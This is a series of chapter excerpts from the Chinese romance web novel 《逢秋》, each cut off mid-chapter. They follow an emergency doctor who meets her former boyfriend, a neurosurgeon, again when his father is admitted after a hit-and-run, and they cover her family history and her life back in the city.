《逢秋》 1. 第一章(捉虫) 《逢秋》全本免费阅读 白露已过,容城的空气里却丝毫没有秋意,依旧潮湿闷热兼有雨。 淅淅沥沥的雨天,又是正午,街道上行人不多,两辆白色的120车拉响汽笛,呜呜的碾过路面,溅起一片水花。 一前一后的疾驰进容医大一附院的大门,停在急诊中心门前。 汽笛声戛然而止,蓝色的灯光在雨天里闪动几下,随着急诊的自动门打开,渐渐止息。 几个白大褂从里面快步冲出来,领头的是一位身形高挑的女医生,露在口罩外的柳眉杏眼,明眸善睐,闪烁着聪慧沉静的光芒。 开口时声音沉着冷静:“一人接一个,冯恬,你负责这辆,我去接另一个。” “好。”冯恬应了声,立刻伸手去接担架。 另一辆急救车也在往下抬病人,随车医师见到来人,打了声招呼:“穆医生。” “什么情况?”穆秋吟问了句,看向抬下来的病人。 古铜色苍老的脸孔,头发花白,是一位老年男性患者,他眉头紧皱,看来是在强忍不适。 穆秋吟多问了一句:“家属呢?” “还没联系到家属。”随车医师回答道,“他是在马路上被电动车撞了一下,撞他的人跑了,路人见他起不来,帮忙打的120,没有外伤,也没有骨折,但说头痛想吐。” 来的路上已经给了静脉补液,头痛有所缓解。 穆秋吟点点头,帮忙将担架抬下来,一路推进急诊大厅。 穆秋吟看病人面容煞白、神情淡漠的样子,从口袋里掏出一支细细的银色手电筒,照了照他的瞳孔——等大,对光反应存在。 接着尝试掰了下他的脖子,略微有些颈部抵抗。 被她掰了一下,病人脸上难受的表情变得明显起来,转过头去一阵干呕。 穆秋吟的脑子里迅速闪过一种疾病的名称,眸光顿时一紧。 赶紧对跟在自己身边的学生说:“问一下家属联系方式,然后叫上你师弟,一起把病人送去CT室,扫个片子再说。” 说完转身回病房开单。 急诊科的医生办公室在门诊旁边,很小的一间屋子,办公桌和电脑都靠墙摆放,尽头窗户旁边立着高高的文件柜。 隔壁组的温见琛今天下夜班,但人还没走,正站在窗边吃葡萄。 见穆秋吟进来就问:“小师姐这么旺,今天一次来俩啊,什么情况的?” “被电动车撞了,我怀疑有蛛网膜下腔出血,还有一个是在家打扫卫生摔倒,估计是心脏问题。”穆秋吟一面应,一面手不停的写着检查单。 话音刚落,穆秋吟的上级江海涛就进来了,对着温见琛吹了声口哨:“下夜班你还不走,准备留下来帮我们小师姐收病人是吧?” “我吃口葡萄怎么了我,至于付出这么大代价吗!我小师姐都没说话,你怎么这么周扒皮!”温见琛抗议了一句。 穆秋吟闻言耸耸肩,拿着抬头写着“st!”的检查单就出去了。 刚把检查单给学生,看他和实习生还有护工一起推着病人迅速走远,就听到护士高声:“抢救室开门!” 紧接着平车从她面前飞奔而过,她赶紧跟上去。 抢救室里冯恬已经摆好架势准备开始做胸外按压,所有人都在有条不紊的做着抢救工作。 抢救室的值班护士告诉穆秋吟:“已经测不出心跳了。” 穆秋吟看向病床上的病人,是个很年轻的姑娘,大概二十多岁,脸上一片灰白。 她点头嗯了声,挽了挽袖子,随时准备接应冯恬。 然后在心里叹了口气。 不过冯恬这边人手充足,穆秋吟只看了一会儿就被护士叫出抢救室,有新病人来了。 一个新来的脑梗病人,过来时已经半边身子动不了,穆秋吟检查过基本情况后,让家属和护工送他去CT室。 她心里嘀咕,刚才那位车祸的病人不知道检查做了没有。 给CT室打电话,得到的回复是正在做,她松口气,问护士站的办公护士:“刚才来的车祸的病人,叫何兵的,通知他家属了么?” “通知了他儿子,说马上就过来。” 穆秋吟点头嗯了声,不停的刷新电脑阅片页面,看到“何兵”这个名字出来的瞬间,她立刻点进去,看到一张刚刚上传的头颅CT片子。 片子上呈现的弥散性高密度影,还有报告上“蛛网膜下腔出血”几个字,都在告诉穆秋吟,她的预想成真。 必须立刻用上止血剂和脑血管解痉剂,她赶紧回办公室去开医嘱,临走拜托护士:“麻烦再催一下他家属,需要他来签字办住院手续。” 护士应了声,按照之前的电话打过去:“何先生吗?这边是容城医科大学第一附属医院急诊科,您父亲何兵先生的检查结果出来了,需要住院,请问您什么时候能到?” 电话那头男人的声音平稳中带着一丝紧绷:“大概还要五分钟。” 他拜托护士转告医生:“事急从权,一切治疗都听医生安排,必要的止血剂和脑血管解痉剂,以及其他可能需要的比如有创抢救,我全都同意,稍后会补签知情同意,麻烦了。” 护士愣了一下,好家伙,这家属这么懂行的? 她应了声好,挂断电话,转头给办公室打电话。 何酌修接到医院电话的时候,刚从门诊回到神经外科的医生办公室,准备吃点饭就去看要会诊的病人。 会诊完以后,他就要去手术中心,准备接下午的手术。 这是他每天的日常,交班,查房,门诊,会诊,手术,日复一日,曾经觉得累,可是扭头发现好像无人可以与之诉说,沉默过后便觉得已经习惯。 况且现在的生活已经比以前好得多,认得他的人都称他一声“何主任”,少年时代那个“拖油瓶”的称呼仿佛已经成为前世记忆。 但生活总会在不经意间给人一闷棍,提醒你,醒醒,这才过了多久,别真的失忆好伐。 接到父亲出车祸送医院的电话时,何酌修整个人都是懵的,素来冷静理智的头脑在这一瞬间变得僵硬起来,连转都不会转。 只能凭借本能回答对方:“……好的……我现在马上过去。” 顷刻间像时光倒转,回到许多年前的某一天,盛夏的阳光盛大又明媚,医院的电话撕破他好不容易变得安稳的生活,告诉他和老何,黄莹出车祸了,送到医院时人已经昏迷。 黄莹是他的妈妈。一个十七岁中专毕业就赚钱养家,二十岁就匆匆嫁人并生下儿子,三十一岁因无法忍受丈夫家暴并且在儿子支持下终于离婚,为了躲避前夫纠缠,又在三十二岁经人介绍改嫁给一个收废品的跛子的女人。 她一生的苦难没有因为跛脚老何对她好而终于走到尽头,在安稳度过了三年后,她遇到了车祸。 肇事司机逃逸,她被好心的路人送到医院,报警之后,随着肇事司机被找到的消息一同摆在父子俩面前的,还有她的病危通知书。 严重的脑出血。时隔太久,何酌修已经不记得当时具体的诊断是什么,只记得老何问他:“他们家说赔咱们钱,让我们出谅解同意书,你怎么想的?” 怎么想?十五岁的少年人哪里有什么想法,他反问老何,我们还有钱吗?要是没钱了,我妈是不是死定了? 那一年老何那瘫痪的瞎眼老娘刚走,他拖到年过四旬才娶到老婆,就是因为有个老娘要看病吃药,赚的不够药 2. 第二章 《逢秋》全本免费阅读 好熟悉的声音,熟悉到何酌修觉得自己像是在做梦。 这道声音曾经问过他:“何酌修,你高考准备报哪所学校?我以后不会要跟你异地恋吧?听说异地恋都没好结果的。” 这道声音还跟他说过:“何酌修,以后我的论文,一定都给你挂个二作。” 最后这道声音告诉他:“何酌修,我觉得我需要更大的世界。” 他留不住她,也没办法跟她一起飞走,只好就此别过。 人生总是有更多比爱情更重要的东西,比如梦想,比如责任。 何酌修曾经幻想过很多种再见穆秋吟的场景。 可能是某一年的校庆,她作为杰出校友回来参观,他会在学术交流现场或者学校官网上看到她的身影; 可能是某一年同学聚会邀请了她,她恰好有空欣然前来,席间听人说起她诸多成就,家庭幸福; 可能是在某次国际学术交流的现场,他在台下,看台上的她意气风发,侃侃而谈; 也可能是某一天他终于有机会去到她的城市,和她在街头偶遇,邀请她坐下喝一杯咖啡,聊聊彼此这些年的近况…… 反正,在诸多想象过的场景里,没有包含现在这种。 他是病人的家属,她是病人的首诊医生。真是一次无论如何都想不到的重逢。 何酌修看着她熟悉的眉眼,一时竟有种近乡情怯的紧张,犹豫着没有立刻过去。 穆秋吟见他有些愣愣的,不知是惊讶会在这里和她见面,还是因为别的什么,便加重语气重复了一遍:“何兵家属,过来一下。” 她的声音平稳冷静,除了催促,听不出别的情绪,何酌修立刻回过神来,意识到自己的失态,不免有些尴尬。 穆秋吟见他嘴角又抿了起来,眉头皱得更紧,知他担心,但这事没得安慰,只能如实相告:“车祸导致的蛛网膜下腔出血,必须立刻住院治疗。” 如果是普通的病人家属,她不认识的,少不得解释蛛网膜下腔出血是什么发病机制,如何危险,还要回答对方大概要花多少钱住多久院的疑问。 但这是何酌修,他自己本身就是脑科医院的神经外科医生,专业上的事,他比她更清楚。 何酌修点点头,问:“头颅CT的片子可以给我看看吗?” “当然。”穆秋吟掏出手机,点开阅片程序,转手把手机递过去。 何酌修一边看着片子,一边下意识的问:“体格检查怎么样,有没有其他的神经症状?心电图结果怎么样,还有……” 穆秋吟听着他的话先是一愣,旋即回过神来,有些哭笑不得:“等等,等等,何大主任,你不是来会诊的!” 何酌修没说完的话被她打断,也反应了过来,不由自主的面皮发紧,这连连失态真的是…… 他都觉得自己脸上烧得慌。 穆秋吟见他尴尬,以为他是因为父亲的病关心则乱,犹豫片刻,还是安慰道:“会没事的,你……要不要去看看叔叔?” 她的声音放低下来,甚至多了一抹关切,何酌修忍不住抬眼去看她,在触碰到她清凌凌的目光时,忽然间冷静了下来。 是了,时间已经过去很久了,他们的关系早就不比从前,甚至可以算是陌生人,他为什么要尴尬要失态? 有必要吗?这样既显得他拿得起放不下,让她看出来了,又要造成她的负担,叫她也觉得不自在,何必呢? 倒不如当做是普通同学一样相处。 他自觉想通,态度上便带出了几分,客气道:“我是不是应该先签知情同意?” 穆秋吟微微一愣,反应过来:“哦对,你先签字。” 说着把病历夹打开递过去,何酌修迅速签好字,刚签完,穆秋吟请的会诊到了,她忙上前打招呼:“邵主任,病人在这边。” 她和会诊医生走在前面,一边走一边说着老何的病情,何酌修跟在他们后面,看着她绑在脑后的低马尾,有些不自觉的恍神。 他和穆秋吟认识很久了。初中最后一年他头悬梁锥刺股,虽然临近中考时母亲出事,但好在没有影响他的中考,还是进了宁城一中,那是宁城最好的高中之一。高一开学,他就注意到了穆秋吟。 对于他们那一届,甚至前后几届一中学生来说,穆秋吟这个名字属于是如雷贯耳的存在。 他的父亲是当时宁城医科大学附属肿瘤医院的院长,母亲是民航飞行员,即便宁城一中也有出身政要富商的同学,但没有一个人能比得过她。 因为她太耀眼,据说她从小学就开始,她父亲就带她进入实验室,在别的孩子还在玩拍画片的时候,她就已经在父亲和一众大哥哥大姐姐的帮助下,开始学习如何使用显微镜,到了初中,直接参加全国青少年科技创新大赛。 她的母亲则是早早带她见识蓝天的辽阔,别的同龄人可能连飞机都还没坐过几次,她就已经坐到了直升机的副驾驶上,尽情欣赏脚下的山河,体会什么叫一览众山小。 游学,夏令营,冬令营,对她来说更是不陌生。 这样的培养方式,让她开阔眼界的同时,也培养了她强大的自信心,这种信心融化在她的气质里,变成夺目耀眼的光芒,无人可以忽视。 更何况她高一时的入学成绩,是全校第一。 因此何酌修刚开学,便从周围其他同学那里听说,“穆秋吟居然和我们一个班诶。” 有同学不知道她是谁,说话的人便兴奋不已的开始科普,什么年年市三好,什么年年当团支书,什么演讲比赛第一名,什么学科竞赛一等奖,以及她参加过什么大型活动,云云。 如数家珍到好像那不是穆秋吟,而是他自己。 何酌修因此生出好奇,这样厉害的同学到底长什么样,直到老师让大家挨个儿上讲台做自我介绍。 讲台上的少女落落大方的任人打量,何酌修便看清了她有着一张很传统的鹅蛋脸,脸颊饱满红润,眼尾有些微细长,目光清亮,但不爱笑,说话时声音平静冷淡,露出些许高傲疏离。 因此一开始,很多同学都对她望而却步,既想跟她套近乎做朋友,又怕她不搭理人被下面子。 何酌修跟她熟悉起来的契机,是因为期中考后班主任按照考试成绩重新排了一次座位,这次穆秋吟刚好坐在他前面。 刚开始他们也不熟,直到有一天穆秋吟听到他给他同桌讲题,转头过来听,听完了问他:“你怎么想到用这个方法的?” 这是他们说的第一句话,在此之前他们全无交流,在这以后他们日渐熟稔。 熟了才知道,她不是不爱笑,是不爱在不熟的人面前笑,因为她左边有一颗小虎牙,一笑就立刻显得有点幼稚——少年人总想快快长大,渴望变得成熟,连穆秋吟也不例外。 后来上了大学倒是好多了,只是不知道现在怎么样。 那时她扎高高的马尾,乌黑柔亮的头发垂在她的脑后,光线照过来就像是打了一层蜡,发尾轻轻垂在他的书桌上方,要是头发长一点没来得及修剪,发尾还会轻扫他的桌面。 每次她转头跟他说话时,马尾巴就会一甩,有时候动作幅度大了,还会扫过他正低垂的头顶,会有一道阴影在他的视线里一闪而过。 何酌修甚至还记得 3. 第三章(捉虫) 《逢秋》全本免费阅读 穆医生。这是一个穆秋吟听了许多年的称呼。 现在科室的同事们会叫她小师姐,隔壁组的温见琛带起来的,因为从入学年份上来看,她是他师姐,但因为她小学和初中都跳过级,所以年龄上跟他差不多。 所以便开玩笑的称她一声小师姐,大家跟着叫,以表亲近。 可是不管是穆医生,还是小师姐,会这么叫她的人,不应该包括何酌修。 单纯做同学时他叫她穆秋吟,后来叫她的小名木木,从生疏变得亲密,花了整整十年。 如今一声穆医生,表明了他们的关系已经回到原点。 历时整整六年。 穆秋吟回过神,抬手捏捏鼻梁上口罩的钢丝条,难得有些讪讪。 暂时没有120车送病人来,她先回了办公室,冯恬也在,正给在床的病人开检查单——尽管要求是尽量收进临床各科室,但总有小部分病人因为种种原因不得不滞留急诊。 “刚才那个猝死的小姑娘,手续办好了?”穆秋吟坐下后问道。 冯恬嗯了声,又叹口气,“可惜了,还好年轻呢,比我还小。” 穆秋吟没吭声,可惜当然是可惜的,但到了这份上,再说什么都是多余。 冯恬接着问她:“你接的那个呢,蛛网膜下腔出血?怎么样了?” “邵主任来看过,转去十七楼神外了。”穆秋吟回答道。 “家属来啦?” “嗯,来了。” 她平时说话就言简意赅,于是也没人听出她的语气有那么点不对劲,直到中午吃饭。 急诊吃饭讲究一个速战速决,因为可能下一刻就要出车。 但穆秋吟今天吃得慢吞吞的,冯恬都已经吃完了,她才吃了一半不到。 冯恬站在一旁喝水,打量着她的脸色,问道:“你是不是不舒服?” “……没有,怎么这么问?”穆秋吟微微一愣,抬起头疑惑的看过去。 “脸色不太好,心事重重的。”冯恬目光关切,“是不是碰到什么事了?” 穆秋吟杵着筷子,犹豫似的咬了咬嘴唇。 半晌她才决定实话实说:“我刚才……见到我前男友了。” “哦哦,见到……”冯恬话头一顿,整个人卡住,瞪圆了眼看向她,水都不喝了,“啊?见到谁?前男友?你的吗?” 她震惊的样子有点过于夸张,穆秋吟被逗乐,嘴角顿时一弯。 左边那颗小虎牙闪现了一下,她又立刻抿住嘴唇,点点头嗯了声。 见她确认,冯恬啊这了一下,声音还是卡卡的,“前、前男友啊……小师姐你、你是因为他才不开心吗……他、他……” 吞吞吐吐的,像是想问什么,又不好意思问。 但大概意思穆秋吟还是领会到了,摇摇头:“不是不开心,就是见到他就觉得……物是人非,一转眼就过了这么多年,以前我们还约好……” 她说到这里突然停下来,沉默一瞬,才继续道:“总之就是挺感慨吧。” 穆秋吟进科室的时间很短,三月份入职,到现在满打满算也就半年,大家对她的了解还只停留在她的为人处世和工作作风上,对她以前的事那是一点都不知道。 于是冯恬忍不住好奇:“你们为什么分手啊?是不是他做了什么……” “没有,他很好。”穆秋吟立刻打断她没说完的话,“分手是我提的,原因是我要出国,他走不了。” 冯恬啊了声,眨眨眼,“……为什么?又不是不回来了。” 不就异地恋嘛,也没必要分手吧?她也是异地恋过来的,知道虽然艰难,但只要双方都足够坚定,还是可以修成正果的。 但穆秋吟看着她弯了弯嘴唇:“我当时就是奔着不回来去的。” 她结束在长老会医院的Residency阶段培训后,很快就申请到了梅奥医学中心的Fellow项目,如果不是母亲这头突然传来患病噩耗,她根本没有考虑过回国。 冯恬一愣,又啊了声,继续变得声音卡卡的,“这、这……” 这怎么说呢?没法说,感觉好复杂的样子。她有点后悔问这个问题了,果然瓜不是这么好吃的。 穆秋吟倒不介意,淡淡的笑笑:“所以分手的原因很简单,纯粹是人生规划不同了。” 其实也不是一开始就不同的,是后来,大三的时候她父亲再婚,她又机缘巧合了解到了赴美行医的一些情况,听闻那边执业环境会更好,而且能接触到更多学科前沿,才动了这个心思。 而何酌修呢,他一直以来的目标,都是在国内,或者说,即便他想追随她一起赴美,也没有那个条件。 “赴美行医需要考USMLE,这个考试从step2开始,就要在那边考了,报名考试要花钱,还要去实习拿推荐信,实习的费用很可能一个月就要上千刀,实习最少半年到八个月,之后选择Residency阶段的培训医院也要花钱,这里面的花费,不是一个普通家庭能轻易负担的,他家里只有他爸爸了,也不可能把老父亲一个人留在国内。” 何况在这之前,他们已经在国内读了七八年临床医学,高中同学都已经毕业工作好几年了,他们还在念书。 “考试也很难,我当时一边实习一边准备考试,每天只睡三个小时,精神压力和体力都拉到极致。” 大概也正是因为付出了太多,沉没成本太大,所以才会放弃何酌修。 不能说是毫不犹豫,但确实是在自己追求的东西和他之间,选择了自己的欲望。 “我在国内最后那一年,我们都很忙,其实彼此之间的交流已经很少了,感情……确实没有以前那么好了。” 情侣之间如果连分享彼此的心情都做不到了,出问题是迟早的事。 冯恬听得直咋舌,连声说可惜。 穆秋吟笑笑,有些事她没说,冯恬是外人不知情,但何酌修应该是知道的,不然不会那么容易松口。 “那你们现在……”冯恬试探,“有没有可能再续前缘?” 穆秋吟一愣,再续前缘?她还是第一次想到这个问题。 她怔了一会儿,摇摇头,“我没想过这个。” 六年啊,她也好,何酌修也罢,谁都不是情圣,不会等着对方回头。再说破了的镜子有什么好圆的,再怎么圆,那道裂缝也不会消失。 冯恬还想说什么,就听兜里的值班手机突然响起来,接起来一听,是护士站打来的,说有个心梗的病人,要医生出车去接。 她匆匆忙忙就跑了,穆秋吟继续慢吞吞的吃饭。 何酌修办好住院手续,直奔住院部十七楼,把病历本递给护士站的办公护士,就按照对方的指示去病房。 走了两步又退回来,问:“单人间还有么?我想给我爸换床。” 办公护士点头说好,“会跟叶医生说的,有就给你们换。” 老何的主管医生姓叶,想到在急诊见到的邵主任,何酌修大概知道是谁了。 他道了声谢,匆匆走进病区。 病房里医生正在给老何做体格检查,何酌修站在床尾静静地看着,目光忧虑。 他其实很担心,很担心老何会像妈妈那样离开他,以至于暂时没想肇事司机逃逸这事。 叶眉做完检查,抬头就看见何酌修,微微一愣:“何主任?你……这是……” 4. 第四章 《逢秋》全本免费阅读 见她只是一脸错愕的看着自己,何酌修犹豫片刻,还是上了阶梯,在她身边站定。 穆秋吟转头看他,抿了抿唇。 实在不知道该说什么才好,便只能沉默着,静静地看向他。 时间果然是最好的魔术师,将他脸上最后一丝青涩也消磨殆尽,只留下成熟男人的沉稳和内敛。 穆秋吟一直都知道,何酌修生得很好,据说这是他生父唯一的优点,也遗传给了他,一张五官细致分明的脸孔神情温和,睫毛长而微卷,乌亮的眼眸在夜色里显得格外深邃。 那双眼睛像是会说话,藏着千言万语,却又含蓄寡言,穆秋吟被他看着,心尖忍不住一颤。 “什么时候回来的?”何酌修率先开口打破沉默。 他其实更想问,不是说不回来了么?要不是这样,他当年何至于答应分手。 又不是守不住。 但他怀疑另有隐情,他认识的穆秋吟,不是那种会轻易改变自己的决定的人。 说白了就是有点倔,又要面子,自己选的路,她就是跪着也会走下去。 穆秋吟心说你之前不是叫我穆医生,跟我装不熟的吗,现在问这个,你不觉得冒昧吗:) 但这吐槽也就在心里想想,面上她还是很和气的,回答道:“前年我妈查出了肝癌,你也知道她跟我爸早就离婚很多年了,身边也没个人,干脆我就回来了。” 何酌修一愣:“……阿姨病了?” 他是见过穆秋吟的母亲的,高三时学校给他们办成人礼,邀请了各位家长,连担心给他丢面子的老何都去了,穆秋吟的父母自然也不会错过。 她的母亲是一位留着短发英姿飒爽的女士,眉目开阔舒朗,满脸英气勃发,是那种“不爱红装爱武装”的气质,很符合何酌修对飞行员这个职业的刻板印象。 当时看她父母很和睦,凑在一起笑吟吟的看着路过的每一个同学,还拉着她各种拍照,看上去是特别幸福的一家三口。 ——所以后来得知他们早已离婚,只是为了穆秋吟高考而暂时隐瞒,他的震惊不比穆秋吟本人少多少。 “原发性肝癌。”穆秋吟眼睑一垂,露出苦笑来,“原本以为是一次普通的年度体检,谁知道……” 彼此都沉默了一会儿,何酌修才问:“所以你就回来了?那个时候……你完成在那边的住培了吧?” “刚结束,准备去梅奥做fellow。”穆秋吟耸耸肩,开玩笑似的道,“本来以为可以开始赚美刀了,结果人算不如天算,唉,都是钱呐。” 说完她还轻轻笑了一下。 何酌修却笑不出来,觉得心头闷闷的,连喉咙都有些发胀。 “……那现在?” “去年就走了。”穆秋吟声音平静,“做了手术,用了最好的药,也只是比别人多拖了几个月。” 说到这里她顿了顿,又改口:“其实已经比别人幸运了。” 何酌修也是同道中人,肝癌意味着什么,不用她说他也懂。 何酌修嗯了声,轻声说了句:“节哀。” 穆秋吟道了声谢,抿住嘴唇没吭声,周围的空气顷刻间便安静下来,显得有些尴尬。 半晌何酌修才继续问道:“那……这两年你在哪儿?” “在京医大一附院规培了两年。”穆秋吟应完,侧头打量着他,问得直接,“我们班的宋平安就在那边做博后,见过我,你真不知道我回来了?” 何酌修微微一愣,转头看向她,神色淡定又真诚:“不知道,我最近没有和宋平安联系过。” 呃…… 穆秋吟虽然不太信,但也不好追问,便勾了一下嘴唇就算了。 何酌修接着道:“怎么没留在京市?以你的履历,想留在京市应该不难。” “……算了,不太想。”穆秋吟摇摇头,“气候也不太习惯。” 不管是他们长大的宁城,还是后来念大学待的容城,都是湿润多雨的南方城市,和干燥的京市气候截然不同。 何酌修忍不住追问:“什么时候回容城的?” 穆秋吟抬眼看他,淡淡的应道:“二月份,安排了我妈的墓地,买房,三月份入职。” 这么算来,她已经回容城半年多了,可是他却毫不知情,何酌修不由得苦笑。 确实已经是陌路了,他忍不住轻叹出声。 穆秋吟又一次侧头去看他,嘴唇动了动,像是有什么想说,但最后却没说。 只问:“你爸爸……怎么样了?” “状态还行,明早做脑血管造影,再看是不是要手术。”何酌修应道。 真的是无话可说了,这个问题回答完以后,彼此再度陷入沉默。 穆秋吟咬着腮边,渐渐觉得尴尬,正犹豫不知该用什么理由回去,便听他说:“很晚了,不打扰你值班,我先回去。” 她回过神,嗯了声,想说再见,但话到嘴边又鬼使神差的咽了回去。 何酌修下了阶梯,回头看了她一眼,目光里的欲言又止分外明显,但最终什么都没说,只笑了笑,便大步走远了。 穆秋吟看着他白衣黑裤的挺拔身影没入黑暗,忽然觉得心口气机不畅,忍不住重重呼出一口气,这才觉得舒服多了。 其实真没什么好说的,知道彼此都在各自选择的道路上越走越好,就已经足够了。 她拧开保温杯盖子喝了口温水,转身回了诊室。 何酌修回到住院部十七楼,谢了帮忙的护工,轻手轻脚的进了病房。 但老何还是一下就惊醒了,他不舒服,睡得不安稳,有点动静就醒。 “吵着你了?”何酌修举着手机借光,有些抱歉的小声问道。 老何看着他,用眼神问他怎么回来得这么晚。 “回来的时候碰到……以前的同学,聊了会儿。”何酌修解释道。 “你快睡吧,明天还得做检查呢,能睡就睡,睡不着闭目养神也好。”说着他上前看了下心电监护的示数,又帮老何掖了掖被子。 然后才轻手轻脚的去了卫生间,过了四五分钟又出来。 陪护用的折叠床比较窄,刚好够一个人平躺,只要一翻身就可能掉下去,但何酌修也不在意,说实话,他没什么睡意。 他其实早就知道穆秋吟回国了。 去年他跟导师去京市开会,宋平安听说以后做东请他吃了顿饭,席间喝了酒,就说了这事。 还问他:“你跟穆秋吟没联系了?” 他当时开玩笑似的回道:“好的前任就该跟死了一样,分都分了还联系,这不是给她添堵么。” 察觉到他不喜这个话题,宋平安便知趣不再提,后来他们也偶有联系,但确实没再提过穆秋吟。 所以何酌修还真不知道她已经回了容城,如果提前知道…… 那也不能怎么样,他在心里叹口气,就像他说过的,好的前任就该跟死了一样。 他们在一起十年,在那显得有些漫长的十年里,他对穆秋吟可以说是百依百顺,事事都为她高兴,这一点他可以问心无愧,既然这样,就没必要在最后还恶心她。 即便是分开,他们也应该体面而圆满,才不枉那十年里有过的所有回忆。 不甘心当然会有,但那都是很久以前穆秋吟刚走的时候的事了,何酌修觉得现在自己已经可以用平常心看待。 他胡思乱想着起了朦胧的睡意,感觉没过多久,便听见车 5. 第五章 《逢秋》全本免费阅读 上午十点半,穆秋吟的车子驶进距离医院大概二十分钟车程的榕御花园,重返容城的时候,她选择把家安在这里。 十五年的老小区,一梯四户,基本都是两室一厅的格局,穆秋吟当时看中了三单元十楼的一户。 朝向很好,而且那家人很爱惜自己的房子,尽管住了许多年,但平时养护得很好,她买下来后不需要大肆翻修,只稍微收拾一下,检查过水电没问题,就可以安排家具家电。 说起来能买下这套房子,也是一桩很玄的事。 母亲潘晓敏病重的时候,住在京医大一附院的肿瘤科,她每天都会去陪母亲,偶尔会去办公室坐坐,跟相熟的同事说说话。 有一天晚上,一位师姐带的规培生说起一件发生在她老家的事:“我老家那边大家都爱买彩票,十个人有八个人买,我们那儿没有绝对的陌生人,只要你问一句今晚打什么奖……有一年某个广场发现有个年轻人吊死在楼梯间里,据说是他家里人逼他回去工作,可他那个专业在我们那边基本没就业面,被逼回去以后找不到合适的工作,家里人就埋怨他读的书没用,把人都逼得快疯了。” “那个广场新建成的,开业还不到一年,天晓得他怎么想到要跑去那里上吊的,真的是……不过奇怪的是,他走了以后没几天,他哥哥就说做梦梦见他了,给他托梦,让他去买一组数字,我刚才说了,我们那边很多人买彩票的,管这种叫梦码,必买。” 最后结果当然是这组梦码中奖了呗,那位规培的同事说是中了一百多万。 大家听了都当是新奇,感慨几句运气真好就过了,毕竟中彩票这种事,确实是比较虚无缥缈的。 穆秋吟同样没当回事,回头还跟潘晓敏当笑话讲,潘晓敏听完就笑:“要是真有这种事,等我走了,也给你托个梦。” “胡说,人死如烟散,最要紧是过好当下。”她不愿意听母亲说这话,立刻便转移了话题。 但后来潘晓敏去世,在穆秋吟准备处理她的遗物,并考虑将她葬回容城老家时,她做了个梦,梦里潘晓敏跟她说,让她去买彩票。 穆秋吟醒来觉得甚是荒唐,这怕不是自己想出来的,却以为真的是她妈托梦。 但不信归不信,第二天出门,等公交时看到旁边的彩票店,她还是毫不犹豫的走了进去。 还一买就是50注,笑死,谁不梦想一夜暴富呢:) 结果开奖那天她整个人都傻了,真的中了五百万头奖,按偶然所得缴纳20%的税,税后到手四百万,拿到支票那一刻她都还是懵的。 不是,这什么梦码难道是真的啊?!! 她很想找人说说,但又不敢告诉任何人,于是跑去对着潘晓敏的照片叽里咕噜好半天,说着说着就哭起来。 她宁可没有这四百万,只要妈妈能一直陪着她。 中奖所得她一分都没有捐出去,她舍不得,因为她当做是潘晓敏放心不下她,怕她吃苦,所以给她安排的。 她得用这笔钱,好好安排好生活,这样妈妈才不会担心。 恰好这时看到了容医大一附院的招聘公告,还没决定是否报考,父亲穆广汉就打电话给她,话里话外是希望她能回宁城工作,一是他能给她安排好,二是希望能父女团聚,还提到了他和现任妻子生的小儿子。 穆秋吟想到自从他再婚,她每次去父亲那儿,都像一个客人,还比不上后妈带来的前头女儿在那个家自在,对回宁城工作这件事的抗拒便瞬间达到顶峰。 不是父亲不爱她了,而是这中间夹着其他人,这份爱不可避免的被稀释了。 于是她飞快报考了容医大一附院的急诊科医师岗,出售了母亲在京市留下的那套老破小,回到容城后先去南郊的墓园购置墓地安葬母亲,然后租房一边备考一边买房。 跟着她从京市移居的,除了母亲的骨灰盒,还有母亲留给她的遗物——一只叫呆呆的两岁长毛金渐层猫咪。 它因为难产导致小脑失衡,整只猫都笨笨的,喝奶都抢不过同一胎的兄弟姐妹,潘晓敏当时从朋友手里要了过来,目的是给穆秋吟作伴。 “木木,等妈妈走了,就让它陪着你,和妈妈陪着你是一样的。” “咪呜~” 门刚打开,穆秋吟就听见一声猫叫,呆呆从客厅一溜小跑的跑到门口,对着她叫唤,仿佛是在欢迎她回家。 穆秋吟心里一暖,弯腰揉揉它的头:“乖乖,我回来了,昨天一个人在家怕不怕?” “咪呜~” 呆呆仰着头,眼睛都眯了起来,不停地用脸蹭她的手指,亲昵依恋之意十分明显。 接下来不管穆秋吟去做什么,它都会跟着,她去做饭,它就在她脚边蹲着,用一双绿色的圆眼睛目不转睛的望着她,眼巴巴的目光里透着想吃二字。 穆秋吟低头看它,冲它嘬了声,它立刻就蹭蹭她的小腿,把她逗得笑起来。 “再等等,晾一下不烫了再吃。” 吃过午饭,穆秋吟去洗了个澡,把呆呆叫进卧室准备一起午睡时,手机响了。 她捞过手机一看来电显示,是她爸穆广汉打来的。 有些纳闷的接起来,问道:“爸?今天怎么有空给我打电话,有什么事么?” “没事就不能打电话给你了?” 穆广汉声音里的笑意透过手机传过来,让穆秋吟也不自觉的笑了笑,“当然不是。” 她问穆广汉最近身体好不好,也只问这个,别的什么都没问,他的工作顺不顺利,家里如何,她全都不问。 一是觉得自己不该管,她自觉除了穆广汉,其他人都和她没关系,二是确实不想问。 穆广汉似乎心情不错,一直笑呵呵的,问她:“过几天就是中秋节了,有没有空回家吃饭?” 宁城和容城离得不算远,坐高铁也就三四个小时。 “要值班,没有休息。”穆秋吟一面应,一面挠挠呆呆的下巴,“下次有时间再回吧,这次就不折腾了。” 穆广汉便表示出遗憾和失望来,“这样啊,那可惜了……” “有什么可惜的,又不是不回去了,只是最近都有工作。”穆秋吟淡笑,“都是同行,爸你应该理解我的。” 穆广汉说:“倒不是可惜这顿饭。” “那是可惜什么?”穆秋吟纳闷,以为他会说可惜看不到她之类的亲近话。 这种话她已经有几年没听过了,自从他又有了小儿子,满腔父爱重新有了寄托的地方,有些话自然不跟她说了。 “你还记不记得你刘伟叔叔?”穆广汉笑吟吟的道,“前些天我去开会见到他,他还问起过你有没有对象,没有的话要不要考虑一下他家刘熠,你们两个年龄相当,他现在在骨科医院做得也不错,我们的家庭也相配,又知根知底。” 穆秋吟愣愣的听了半晌,从记忆的犄角旮旯里想到,这位刘伟叔叔,现在是宁医四院,也就是骨科医院的院长。 他儿子跟她一样呗,是个学阀二代:) 而且他儿子比她会利用资源多了,人家直接在亲爹的眼皮底下工作,说不定还被人背地里称之为“太子”。 所以…… 穆秋吟哦了声:“他的成绩有多少水分,是怎么来的,爸爸你不会不知道吧?我不希望自己未来的丈夫是个拖后腿的存在。” 这话她说出来就会让人有些不舒服,但穆广汉也不得不承认,她有资格这么说。 这个女儿确实没怎么靠她的,她连读大学都要去别的地方。 但他还是说:“怎么会呢?我和你刘叔叔会替你们都安排好的……” 穆秋吟不知怎么的,突然想起何酌修的脸来,连同一些旧事一起。 